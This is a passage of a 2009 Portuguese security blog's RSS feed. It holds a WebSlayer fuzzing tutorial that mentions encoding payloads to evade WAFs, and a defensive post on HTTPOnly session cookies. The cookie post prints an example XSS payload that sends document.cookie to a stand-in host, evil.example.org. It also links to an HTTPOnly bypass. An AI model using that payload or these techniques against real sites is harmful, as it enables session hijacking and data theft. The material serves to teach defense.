<p>A Conferência terá dois dias de treinamentos (27 e 28 de outubro) seguidos de dois dias de palestras (29 e 30 de outubro). As chamadas de trabalho serão divulgadas neste fim de semana. A página com as informações relacionadas está disponível na Wiki da <a href="https://www.owasp.org/index.php/AppSec_Brasil_2009" target="_blank">OWASP</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/30/owasp-appsec-brazil-2009-brasilia-27-30-de-outubro-de-2009/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/30/owasp-appsec-brazil-2009-brasilia-27-30-de-outubro-de-2009/</feedburner:origLink></item>
		<item>
		<title>Encontrando vulnerabilidades em aplicações web com teste fuzzy</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/okoPGZHQbxY/</link>
		<comments>http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 22:50:27 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/</guid>
		<description><![CDATA[Fuzzing é uma técnica largamente utilizada hoje em dia, para identificar vulnerabilidades em aplicações. A técnica consiste basicamente de submeter pacotes/dados de todos os tipos e identificar como a aplicação se comporta com estes dados. Para mostrar um teste fuzzy na prática, vou usar a ferramenta WebSlayer.
Usando o WebSlayer para fuzzing em aplicações WebWebSlayer é [...]]]></description>
			<content:encoded><![CDATA[<p>Fuzzing é uma técnica largamente utilizada hoje em dia, para identificar vulnerabilidades em aplicações. A técnica consiste basicamente de submeter pacotes/dados de todos os tipos e identificar como a aplicação se comporta com estes dados. Para mostrar um teste fuzzy na prática, vou usar a ferramenta <a href="http://www.owasp.org/index.php/Category:OWASP_Webslayer_Project"><b>WebSlayer</b></a>.</p>
<p><b>Usando o WebSlayer para fuzzing em aplicações Web<br /></b><br />WebSlayer é uma ferramenta desenvolvida pelo grupo <a href="http://www.edge-security.com/"><b>Edge-security</b></a>, é apoiada pela OWASP e foi lançado no último <a href="http://wagnerelias.com/2008/10/06/owasp-e-eventos/"><b>Summit em Portugal</b></a>. A ferramenta possibilita que seja realizado inúmeros testes em aplicações web, especialmente fuzzing.</p>
<p>Possui uma boa interface gráfica, aliada a uma boa base de conhecimento (wordlists). A ferramenta fornece apenas wordlists, não fornece pacotes, requisições HTTP que possam ser usadas no fuzzing, a ferramenta permite que você gere o payload da forma como achar melhor.</p>
<p>Vamos usar uma abordagem estruturada de fuzzing para explorar os recursos do WebSlayer</p>
<p><b>1 - Identificar o Alvo<br /></b><br />Vamos iniciar definindo qual a URL será testada. </p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingalvo1.jpg" /></p>
<p><b>2 - Identificar o Input<br /></b><br />Agora vamos identificar o input onde será injetados os dados da wordlist. Caso seja parâmetros GET, ele será informado na própria URL, se for POST será informado na caixa de texto abaixo, específica para parâmetros POST. o WebSlayer irá injetar as palavras/strings, onde você inserir a tag FUZZ. Por exemplo, http://sitealvo.com/teste.php?parametro1=FUZZ. O WebSlayer irá injetar as strings das wordlists no parâmetro onde eu informei a tag FUZZ.</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingparametro2.jpg" /></p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingparametro3.jpg" /></p>
<p><b>3 - Gerar o payload (dado que será usado no fuzzing)<br /></b><br />Neste passo iremos selecionar o tipo de wordlist que iremos injetar. Também é possível gerar requisições/payloads específicos, mas vamos trabalhar com as wordlists neste post. Além de escolher a wordlist, também podemos mandar injetar estas informações codificadas, buscando evadir assinaturas de WAF (Web Application Firewall) e controles na aplicação.</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingdict4.jpg" /></p>
<p><b>4 - Executar o Fuzzing<br /></b><br />Definido quais os dados serão usados no fuzzing, clique em executar os testes.</p>
<p><b>5 - Monitorar as Exceções<br /></b><br />Ao executar o fuzzing, será apresentado na seção Attack Results, todas as respostas que foram dadas pela aplicação a cada requisição que o fuzzing fez.</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingresult5.jpg" /></p>
<p><b>6 - Identificar possíveis pontos de exploração<br /></b><br />Na seção Attacks Results você irá identificar qual os inputs são possíveis vetores de ataque, quais são os inputs vulneráveis. Esta identificação será feita de acordo com a resposta e a utilização de Regex (Expressões regulares).</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingexploit6.jpg" /></p>
<p>Isso é uma utilização básica do WebSlayer, vários outros testes podem ser executados. Até o momento só a versão Windows está disponível, em breve as versões para Mac e Linux estarão disponíveis.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=0166f72c-1c41-8b89-93aa-9b750c34bfd1" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/</feedburner:origLink></item>
		<item>
		<title>Segurança de Cookies de sessão e HTTPOnly</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/AXld8FTDedU/</link>
		<comments>http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 16:39:53 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/</guid>
		<description><![CDATA[Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver no post sobre HTTP. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. [...]]]></description>
			<content:encoded><![CDATA[<p>Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver <a href="http://wagnerelias.com/2009/02/06/http-essentials/"><b>no post sobre HTTP</b></a>. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. Para fazer isso, utilizamos o recurso de sessão/cookie. Este recurso é a "memória" da aplicação web, ela irá consultar a sessão para lembrar de informações que são necessárias entre as requisições HTTP. <br /><b><br />O que acontece se eu não tomar cuidado com a sessão?</b></p>
<p>Problemas sérios! Furto de dados, sequestro de sessão, problemas com autenticação, entre outras coisas que podem ser vistas na <a href="http://www.owasp.org/index.php/Top_10_2007-A7"><b>página sobre gestão de sessão da OWASP.</b></a><br /><b><br />Como mitigar (diminuir) os riscos associados a cookies de sessão? </b></p>
<p>Além de <a href="http://wagnerelias.com/2008/11/01/hardening-de-sessao-no-php/"><b>implementar adequadamente a gestão de sessão</b></a>, um excelente e simples controle para mitigar riscos relacionados a sequestro de sessão (session hijack), é evitar que cookies sejam consultados por javascript. Esta técnica é facilmente implementada, apenas inserindo uma flag <a href="http://www.owasp.org/index.php/HTTPOnly"><b>httponly </b></a>nos cookies.</p>
<blockquote><p><b>Exemplo de cookie com a flag HTTPOnly</b><br />Set-Cookie: pmaCookieVer=4; expires=Thu, 21-May-2009 16:07:33 GMT; path=/phpmyadmin/; httponly</p></blockquote>
<p><b>Como o acesso a cookies via javascript pode expor sua aplicação a sequestro de sessão? <br /></b><br />A maiorias dos ataques de sequestro de sessão são realizados roubando cookies de usuários usando falhas de XSS (Cross Site Scripting). Uma pessoa mal intencionada envia uma URL contendo uma chamada javascript que irá usar a função document.cookie para coletar o cookie da sessão e enviar para um site/local onde ele possa capturar este cookie. Com o cookie em mãos a pessoa mal intencionada faz o sequestro de sessão.</p>
<blockquote><p><b>Um exemplo de requisição maliciosa que pode ser usada para roubar cookies que não estejam protegidos.</b>
<pre class="code">&lt;script&gt;&lt;br /&gt;document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;</pre>
</blockquote>
<p><b>Como testar minha aplicação para verificar se ela usa o recurso de HTTPOnly ou não?<br /></b><br />Um exemplo simples, para validar se a sua aplicação usa o recurso de HTTPOnly ou não, é fazer a seguinte chamada na caixa de texto onde insere as URLs que deseja acessar no seu browser: <b><i>javascript:alert(document.cookie);</i></b> Se retornar uma mensagem de alerta com o valor do seu cookie de sessão, a aplicação não usa o recurso de HTTPOnly, portanto, pode ser explorada via ataques que usem recursos de javascript.</p>
<p><b>Como implementar HTTPOnly?<br /></b><br />Alguns frameworks nas últimas versões, já vem com este recurso habilitado por default, <a href="http://www.nomedojogo.com/2008/11/04/rails-22-cookie-de-sessao-agora-e-httponly/"><b>como é o caso do Rails</b></a>. Cada linguagem possui seu modo de implementar este recurso, alguns exemplos:</p>
<ul>
<li><a href="http://www.owasp.org/index.php/HTTPOnly#Using_PHP_to_set_HttpOnly"><b>Php</b></a></li>
<li><a href="http://www.owasp.org/index.php/HTTPOnly#Using_Java_to_Set_HTTPOnly"><b>Java</b></a></li>
<li><a href="http://www.owasp.org/index.php/HTTPOnly#Using_.NET_to_Set_HTTPOnly"><b>.Net</b></a></li>
</ul>
<p>Alguns browsers também pode <a href="http://www.owasp.org/index.php/HTTPOnly#Testing_Web_Browsers_for_HTTPOnly_Support"><b>forçar o uso do HTTPOnly.</b></a></p>
<p><b>Existe algum tipo de "bypass" de HTTPOnly?<br /></b><br />Sim, existe alguns métodos para burlar o HTTPOnly. Por exemplo, <a href="http://insanesecurity.wordpress.com/2007/08/01/httponly-vs-xmlhttprequest/"><b>usando requisições XHR (XMLHttpRequest).</b></a> </p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=cfb21364-2e36-8f0d-8240-2a13f29bcbd0" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/</feedburner:origLink></item>
		<item>
		<title>Estou voltando!</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/OAtERzIMOLk/</link>
		<comments>http://wagnerelias.com/2009/04/21/estou-voltando/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 15:33:03 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Diversos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/04/21/estou-voltando/</guid>
		<description><![CDATA[Este é o tipo de post que não ajuda em nada, mas preciso dar uma satisfação aos que me aturam neste blog.
Os últimos meses foram alucinantes, muito trabalho, um treinamento na uCon, que foi demais, e sobrou pouco tempo para escrever algo aqui. Cheguei ao cúmulo de esquecer de pagar o host e o domínio [...]]]></description>
			<content:encoded><![CDATA[<p>Este é o tipo de post que não ajuda em nada, mas preciso dar uma satisfação aos que me aturam neste blog.</p>
<p>Os últimos meses foram alucinantes, muito trabalho, um <a href="http://www.ucon-conference.org"><b>treinamento na uCon</b></a>, que foi demais, e sobrou pouco tempo para escrever algo aqui. Cheguei ao cúmulo de esquecer de pagar o host e o domínio ficou suspenso por um dia. <img src='http://wagnerelias.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Agora estou de volta, vou começar a agitar isso aqui novamente e espero que os leitores apreciem. </p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=2bbaf3e1-5f4a-8342-b6b8-d5a83b11226b" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/21/estou-voltando/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/21/estou-voltando/</feedburner:origLink></item>
	</channel>
</rss>
